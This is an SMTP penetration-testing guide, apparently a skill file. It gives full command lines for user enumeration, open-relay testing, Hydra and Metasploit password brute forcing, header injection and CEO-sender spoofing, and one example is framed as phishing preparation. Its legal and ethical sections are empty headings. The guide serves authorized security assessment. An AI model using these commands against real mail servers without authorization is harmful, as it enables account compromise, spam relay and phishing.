SMTP Penetration Testing

SMTP Penetration Testing

Purpose

Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.

Prerequisites

Required Tools

# Nmap with SMTP scripts
sudo apt-get install nmap
Netcat

sudo apt-get install netcat
Hydra for brute force

sudo apt-get install hydra
SMTP user enumeration tool

sudo apt-get install smtp-user-enum
Metasploit Framework

msfconsole

Required Knowledge

Required Access

Outputs and Deliverables

Core Workflow

Phase 1: SMTP Architecture Understanding

Components: MTA (transfer) → MDA (delivery) → MUA (client)
Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)
Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA

Phase 2: SMTP Service Discovery

Identify SMTP servers and versions:

# Discover SMTP ports
nmap -p 25,465,587,2525 -sV TARGET_IP
Aggressive service detection

nmap -sV -sC -p 25 TARGET_IP
SMTP-specific scripts

nmap --script=smtp-* -p 25 TARGET_IP
Discover MX records for domain

dig MX target.com
nslookup -type=mx target.com
host -t mx target.com

Phase 3: Banner Grabbing

Retrieve SMTP server information:

# Using Telnet
telnet TARGET_IP 25
Response: 220 mail.target.com ESMTP Postfix
Using Netcat

nc TARGET_IP 25
Response: 220 mail.target.com ESMTP
Using Nmap

nmap -sV -p 25 TARGET_IP
Version detection extracts banner info
Manual SMTP commands

EHLO test
Response reveals supported extensions

Parse banner information:

Banner reveals:
Server software (Postfix, Sendmail, Exchange)

Version information

Hostname

Supported SMTP extensions (STARTTLS, AUTH, etc.)

Phase 4: SMTP Command Enumeration

Test available SMTP commands:

# Connect and test commands
nc TARGET_IP 25
Initial greeting

EHLO attacker.com
Response shows capabilities:

250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN

Key commands to test:

# VRFY - Verify user exists
VRFY admin
250 2.1.5 admin@target.com
EXPN - Expand mailing list

EXPN staff
250 2.1.5 user1@target.com
250 2.1.5 user2@target.com
RCPT TO - Recipient verification

MAIL FROM:<test@attacker.com>
RCPT TO:<admin@target.com>
250 OK = user exists

550 = user doesn't exist

Phase 5: User Enumeration

Enumerate valid email addresses:

# Using smtp-user-enum with VRFY
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP
Using EXPN method

smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP
Using RCPT method

smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP
Specify port and domain

smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com

Using Metasploit:

use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run

Using Nmap:

# SMTP user enumeration script
nmap --script smtp-enum-users -p 25 TARGET_IP
With custom user list

nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP

Phase 6: Open Relay Testing

Test for unauthorized email relay:

# Using Nmap
nmap -p 25 --script smtp-open-relay TARGET_IP
Manual testing via Telnet

telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<victim@external-domain.com>
DATA
Subject: Relay Test
This is a test.
.
QUIT
If accepted (250 OK), server is open relay

Using Metasploit:

use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run

Test variations:

# Test different sender/recipient combinations
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<test@target.com>
RCPT TO:<test@external.com>
RCPT TO:<"test@external.com">
RCPT TO:<test%external.com@target.com>

Phase 7: Brute Force Authentication

Test for weak SMTP credentials:

# Using Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP
With specific port and SSL

hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp
Multiple users

hydra -L users.txt -P passwords.txt TARGET_IP smtp
Verbose output

hydra -l admin -P passwords.txt smtp://TARGET_IP -V

Using Medusa:

medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp

Using Metasploit:

use auxiliary/scanner/smtp/smtp_login
set RHOSTS TARGET_IP
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set VERBOSE true
run

Phase 8: SMTP Command Injection

Test for command injection vulnerabilities:

# Header injection test
MAIL FROM:<attacker@test.com>
RCPT TO:<victim@target.com>
DATA
Subject: Test
Bcc: hidden@attacker.com
X-Injected: malicious-header
Injected content
.

Email spoofing test:

# Spoofed sender (tests SPF/DKIM protection)
MAIL FROM:<ceo@target.com>
RCPT TO:<employee@target.com>
DATA
From: CEO <ceo@target.com>
Subject: Urgent Request
Please process this request immediately.
.

Phase 9: TLS/SSL Security Testing

Test encryption configuration:

# STARTTLS support check
openssl s_client -connect TARGET_IP:25 -starttls smtp
Direct SSL (port 465)

openssl s_client -connect TARGET_IP:465
Cipher enumeration

nmap --script ssl-enum-ciphers -p 25 TARGET_IP

Phase 10: SPF, DKIM, DMARC Analysis

Check email authentication records:

# SPF/DKIM/DMARC record lookups
dig TXT target.com | grep spf            # SPF
dig TXT selector._domainkey.target.com    # DKIM
dig TXT _dmarc.target.com                 # DMARC
SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral

Quick Reference

Essential SMTP Commands

SMTP Response Codes

Enumeration Tool Commands

Common Vulnerabilities

Constraints and Limitations

Legal Requirements

Technical Limitations

Ethical Boundaries

Examples

Example 1: Complete SMTP Assessment

Scenario: Full security assessment of mail server

# Step 1: Service discovery
nmap -sV -sC -p 25,465,587 mail.target.com
Step 2: Banner grab

nc mail.target.com 25
EHLO test.com
QUIT
Step 3: User enumeration

smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com
Step 4: Open relay test

nmap -p 25 --script smtp-open-relay mail.target.com
Step 5: Authentication test

hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com
Step 6: TLS check

openssl s_client -connect mail.target.com:25 -starttls smtp
Step 7: Check email authentication

dig TXT target.com | grep spf
dig TXT _dmarc.target.com

Example 2: User Enumeration Attack

Scenario: Enumerate valid users for phishing preparation

# Method 1: VRFY
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25
Method 2: RCPT with timing analysis

smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com
Method 3: Metasploit

msfconsole
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run
Results show valid users

[+] 192.168.1.100:25 - Found user: admin
[+] 192.168.1.100:25 - Found user: root
[+] 192.168.1.100:25 - Found user: postmaster

Example 3: Open Relay Exploitation

Scenario: Test and document open relay vulnerability

# Test via Telnet
telnet mail.target.com 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<test@gmail.com>
If 250 OK - VULNERABLE
Document with Nmap

nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com
Output:

PORT   STATE SERVICE

25/tcp open  smtp

|_smtp-open-relay: Server is an open relay (14/16 tests)

Troubleshooting

Security Recommendations

For Administrators